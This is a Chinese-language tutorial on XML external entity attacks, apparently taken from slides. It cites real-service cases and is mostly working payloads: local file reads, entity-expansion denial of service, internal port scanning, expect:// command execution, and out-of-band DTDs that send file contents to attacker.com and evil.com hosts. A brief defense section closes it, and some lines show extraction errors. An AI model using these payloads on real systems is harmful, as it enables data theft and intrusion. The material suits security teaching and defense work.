XML实体攻击

XML实体攻击基本形态

例子:
1、RSS,ATOM(Mailchimp)


2、SVG Converter


3、XML Import(Zabbix)分布式系统监控应用,支持配置文件的导入导出,配置文件使用XML格式


4、百度统计XXE外部实体攻击

  1. ["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE
  2. svg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]><svg
  3. style=\"overflow: hidden; position: relative;\"
  4. xmlns=\"http://www.w3.org/2000/svg\"
  5. xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\"
  6. version=\"1.1\" height=\"880\"><path
  7. transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\"
  8. d=\"5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\"
  9. y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\"
  10. font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-
  11. size=\"12px\"><tspan
  12. dy=\"10.903846153846155\">&test;</tspan></text></svg>"]


5、网易云阅读



6、QQ邮箱文档预览XXE实体攻击

/word/document.xml:
  1. <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  2. <w:document>
  3. <w:body><w:p w:rsidR="00221056"
  4. w:rsidRDefault="000B15BC"><w:pPr><w:rPr><w:rFonts
  5. w:hint="eastAsia"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts
  6. w:hint="eastAsia"/></w:rPr><w:t>我</w:t></w:r><w:r><w:t>是
  7. 一个文档。</w:t></w:r><w:bookmarkStart w:id="0"
  8. w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr
  9. w:rsidR="00221056"><w:pgSz w:w="11906"
  10. w:h="16838"/><w:pgMar w:top="1440" w:right="1800"
  11. w:bottom="1440" w:left="1800" w:header="851" w:footer="992"
  12. w:gutter="0"/><w:cols w:space="425"/><w:docGrid w:type="lines"
  13. w:linePitch="312"/></w:sectPr></w:body>
  14. </w:document>
  1. <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  2. <!DOCTYPE w[
  3. <!ENTITY xxe SYSTEM"file:///etc/passwd">
  4. ]>
  5. <w:document>
  6. <w:body><w:p w:rsidR="00221056"
  7. w:rsidRDefault="000B15BC"><w:pPr><w:rPr><w:rFonts
  8. w:hint="eastAsia"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts
  9. w:hint="eastAsia"/></w:rPr><w:t>&xxe;</w:t><w:bookmarkStart
  10. w:id="0" w:name="_GoBack"/><w:bookmarkEnd
  11. w:id="0"/></w:p><w:sectPr w:rsidR="00221056"><w:pgSz
  12. w:w="11906" w:h="16838"/><w:pgMar w:top="1440"
  13. w:right="1800" w:bottom="1440" w:left="1800" w:header="851"
  14. w:footer="992" w:gutter="0"/><w:cols w:space="425"/><w:docGrid
  15. w:type="lines" w:linePitch="312"/></w:sectPr></w:body>
  16. </w:document>


xl/sharedStrings.xml:
  1. <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  2. <!DOCTYPE t [
  3. <!ENTITY xxe SYSTEM "file:///etc/network/interfaces">
  4. ]>
  5. <sst
  6. xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/m
  7. ain" count="1" uniqueCount="1"><si><t>&xxe;</t><phoneticPr
  8. fontId="1" type="noConversion"/></si></sst>


XML实体漏洞多种利用方法:
  1. ? 拒绝服务
  2. ? 枚举目录
  3. ? 文件读取
  4. ? 内网探测
  5. ? 端口扫描
  6. ? 文件上传
  7. ? 命令执行
拒绝服务DOS 

  1. <?xml version="1.0" encoding="UTF-
  2. 8"?>
  3. <!DOCTYPE UserInfo [
  4. <!ENTITY name SYSTEM
  5. "file:///dev/random">
  6. ]>
  7. <UserInfo>
  8. <name>&name;</name>
  9. </UserInfo>
  1. <!DOCTYPE UserInfo [
  2. <!ENTITY lol "lol">
  3. <!ENTITY lol2
  4. "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5. <!ENTITY lol3
  6. "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  7. <!ENTITY lol7
  8. "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  9. …….
  10. ……..
  11. <!ENTITY lol8
  12. "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  13. <!ENTITY lol9
  14. "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  15. ]>
  16. <UserInfo>&lol9;</UserInfo>
目录枚举(Java系:一个奇葩的例外)
以Groovy为例:
  1. def xxePoc = '
  2. <?xml version="1.0"?><!DOCTYPE customer[<!ENTITY name
  3. SYSTEM
  4. "file:///">]><customer><name>&name;</name></customer>'
  5. def xmlParser = new XmlSlurper();
  6. def parsedContent = xmlParser.parseText(xxePoc)
  7. println parsedContent

端口扫描与内网探测
  1. <!DOCTYPE UserInfo [
  2. <!ENTITY name SYSTEM
  3. "http://127.0.0.1:22/">]>
  4. <UserInfo>
  5. <name>&name;</name>
  6. </UserInfo>

文件上传(jar协议)
  1. Java通过jar协议处理远程jar包:
  2. 1.
  3. 获取远程jar
  4. 2.
  5. 解压缩jar包,提取指定文件
  6. 3.
  7. 链接结束后,删除临时文件
  8. jar:http://host/evil.jar!/file/in/the/jar
  1. 攻击者利用过程:
  2. 1.
  3. 构造恶意jar
  4. 2.
  5. 让目标解析jar包并获取恶意文件
  6. 3.
  7. 文件传输结束后,继续维持服务端链接
  8. 4.
  9. 使用列目录技巧寻找临时文件位置
  1. <!DOCTYPE UserInfo [
  2. <!ENTITY name SYSTEM "
  3. jar:http://127.0.0.1:2014/!/">]>
  4. <UserInfo>
  5. <name>&name;</name>
  6. </UserInfo>

  1. HTTP/1.0 200 OK
  2. Content-Type: application/java-archive
  3. Date: Sat Aug 09 04:31:39 EDT 2014
  4. Server: EvilServer 1.0
  5. This file was uploaded from the
  6. attacker server.

命令执行
  1. <!DOCTYPE root [<!ENTITY foo SYSTEM
  2. "expect://id">]>
  3. <methodCall>
  4. <methodName>&foo;</methodName>
  5. </methodCall>
PHP的Expect扩展: pecl install expect
  1. <methodResponse>
  2. <fault><value><struct>
  3. <member>
  4. <name>faultString</name>
  5. <value>
  6. <string>Method &uid=0(root) gid=0(root)
  7. groups=0(root)&quot; does not
  8. exist</string>
  9. </value>
  10. </member>
  11. </struct></value></fault>
  12. </methodResponse>
高级XXE OOB技巧
  1. ? OOBOut-Of-Band):外带数据
  2. 多数情况下,能直接返回目标内容的攻击场景很少,因此需要一些技巧来获取我们想要的数据。
  3. ? 参数实体(Parameter Entity):
  4. 如果说实体是XML节点中引用的内容,那么参数实体就是实体中引用的内容。
  5. <!ENTITY % name "foo">
  6. <!ENTITY copyright "copyright ?2008, %name;.cn, ALL Right Reserved
  7. ">
  8. 1)参数实体只能在DTD声明中使用。
  9. 2)参数实体中不能再引用参数实体。
利用HTTP协议外带数据
evil.xml
  1. <!DOCTYPE root [
  2. ? <!ENTITY % file SYSTEM
  3. file:///etc/hosts">
  4. <!ENTITY % dtd SYSTEM
  5. "http://attacker.com/ext.dtd">
  6. %dtd;
  7. %send;
  8. ]]>
  9. <zabbix_export>
  10. </zabbix_export>
  1. 嵌套参数实体的‘%’需要其十进制或16进制编码格式即&#37;或&#x25;)
ext.dtd:
  1. <!ENTITY % all "<!ENTITY &#x25; send
  2. SYSTEM 'http://attacker.com/?%file;'>"
  3. >%all;
PHP环境下可以使用php://filter
  1. php://filter/read=convert.base64-encode/resource=/etc/hosts
  1. MjcuMC4wLjEJbG9jYWxob3N0CjEyNy4wLjEuMQlrYWxpCgojIFR
  2. oZSBmb2xsb3dpbmcgbGluZXMgYXJlIGRlc2lyYWJsZSBmb3IgSV
  3. B2NiBjYXBhYmxlIGhvc3RzCjo6MSAgICAgbG9jYWxob3N0IGlwNi
  4. 1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZmMDI6OjEgaXA2LW
  5. FsbG5vZGVzCmZmMDI6OjIgaXA2LWFsbHJvdXRlcnMK
利用FTP协议外带数据 
evil.xml
  1. <!DOCTYPE a [
  2. <!ENTITY % asd SYSTEM
  3. http://attacker.com/ext.dtd">
  4. %asd;
  5. %c;
  6. %rrr;
  7. ]>
  8. <a></a>
ext.dtd
  1. <!ENTITY % b SYSTEM "
  2. php://filter/read=convert.base64-encode/resource=
  3. file:///etc/passwd">
  4. <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM
  5. 'ftp://evil.com:8000/%b;'>">

利用Gopher协议外带数据(Java 1.6)
Gopher:古老的信息查找协议 
格式:gopher://{host}:{port}/{type}{request} 
? type:为一位整型数字 
? request:任意要发送的请求内容,使用URL格式编码。
  1. <!DOCTYPE roottag [
  2. <!ENTITY % file SYSTEM "file:///etc/passwd">
  3. <!ENTITY % dtd SYSTEM
  4. "http://attacker.com/ext.dtd">
  5. %dtd;]>
ext.dtd 
  1. <!ENTITY % all "<!ENTITY send
  2. SYSTEM
  3. 'gopher://attacker.com:1337/1%file;'
  4. >">
  5. %all;
在服务器中使用NC监听指定端口: 
  1. nc lnp 1337
evil.xml
  1. <!DOCTYPE test [
  2. <!ENTITY % one SYSTEM
  3. "https://attacker.com/ext.dtd" >
  4. %one;
  5. %two;
  6. %four;
  7. ]>
ext.dtd
  1. <!ENTITY % three SYSTEM
  2. "file:///c:/windows/win.ini">
  3. <!ENTITY % two "<!ENTITY % four SYSTEM
  4. 'file:///%three;'>">
效文件名构造主动报错


防御XML实体攻击
? 解析XML时忽略DOCTYPE文档声明 
    – 遍历所有结点若发现XML_DOCUMENT_TYPE_NODE类型的结点则报错 
? 必须使用DOCTYPE的情况下禁止对外部实体的解析 
? libxml_disable_entity_loader(true); //PHP 
? 升级Libxml 
    – Libxml2.9默认已经可以防御XML实体攻击 
    – 查看libxml版本apt-cache show libxml2 | grep Version